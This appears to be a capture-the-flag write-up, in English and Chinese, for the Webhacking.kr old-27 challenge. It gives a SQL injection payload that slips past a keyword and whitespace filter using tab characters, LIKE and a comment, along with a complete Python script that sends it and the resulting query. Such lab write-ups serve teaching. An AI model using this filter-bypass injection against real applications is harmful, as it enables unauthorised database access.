Webhacking.kr old-27

Challenge

Return the admin row while bypassing the SQL filters.

绕过 SQL 过滤器并返回 admin 记录。

1
https://webhacking.kr/challenge/web-12/

Analysis

题目的查询形态为:

1
SELECT id FROM chall27 WHERE id='guest' AND no=(INPUT)

过滤器拒绝 #、空格、=、select、limit、0x 和括号中的部分形式。payload 先用 0) 闭合 no=(INPUT),再用 URL 编码的 Tab 作为 SQL 空白,用 LIKE 替代 =,最后用 -- 注释掉服务端拼接的右括号。2 是 admin 行对应的 no 值,因此条件会返回目标记录。

Solution

完整请求脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
import requests

BASE_URL = "https://webhacking.kr/challenge/web-12/"
PAYLOAD = "0)%09or%09no%09like%092%09--%09"

def main() -> None:
# 保留 %09;直接拼接可避免 requests 将其变成字面量 %2509。
response = requests.get(
BASE_URL + "?no=" + PAYLOAD,
timeout=20,
)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

服务端收到并解码 Tab 后,拼接结果等价于:

1
SELECT id FROM chall27 WHERE id='guest' AND no=(0) OR no LIKE 2 -- )

该 payload 让查询结果命中 no=2 的 admin 记录。